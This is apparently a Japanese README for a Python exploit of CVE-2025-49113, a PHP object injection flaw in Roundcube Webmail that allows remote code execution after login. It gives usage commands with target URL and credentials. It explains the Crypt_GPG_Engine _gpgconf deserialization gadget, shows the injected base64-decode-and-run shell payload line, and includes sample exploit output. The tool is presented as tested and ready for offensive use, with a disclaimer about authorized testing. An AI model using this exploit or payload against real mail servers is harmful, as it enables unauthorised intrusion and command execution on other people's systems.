
💥 CVE-2025-49113 用 Python Exploit | Roundcube Webmail の PHP Object Injection による RCE
CVE ID: CVE-2025-49113
エクスプロイト種別: リモートコード実行(PHPオブジェクトインジェクション経由)
対象アプリケーション: Roundcube Webmail ≤ 1.5.9 および ≤ 1.6.10
エクスプロイト言語: Python
作成者: 00xCanelo
ステータス: 脆弱なRoundcubeインストールでテスト済み、動作確認済み
このエクスプロイトは、Roundcube Webmailがアップロードされた画像ファイル名を処理する方法における脆弱性を利用します。このファイル名はPHPオブジェクトとしてアンシリアライズされます。Crypt_GPG_Engineのデシリアライゼーションチェーンをトリガーする悪意のあるペイロードを作成することで、認証後にリモートコード実行が可能になります。
このPython PoCは、公開されているPHPエクスプロイトで使用される攻撃チェーンを模倣していますが、よりクリーンなロジック、オプションのログ記録、および攻撃的なツール設定での使いやすさを備えています。
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
PHPクラスCrypt_GPG_Engineは_gpgconfフィールドの設定を許可し、それがその後シェル実行に渡されます。
私たちのペイロードは、_gpgconf内に以下を仕込みます:
echo "<base64-encoded-cmd>" | base64 -d | sh
これによりデシリアライゼーション時にRCEに至ります。
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Python PoCスクリプト
└── README.md # このドキュメント
このコードは教育および認可されたセキュリティテストの目的に限ります。このツールの誤用は固く禁じられています。著者は生じた損害について一切の責任を負いません。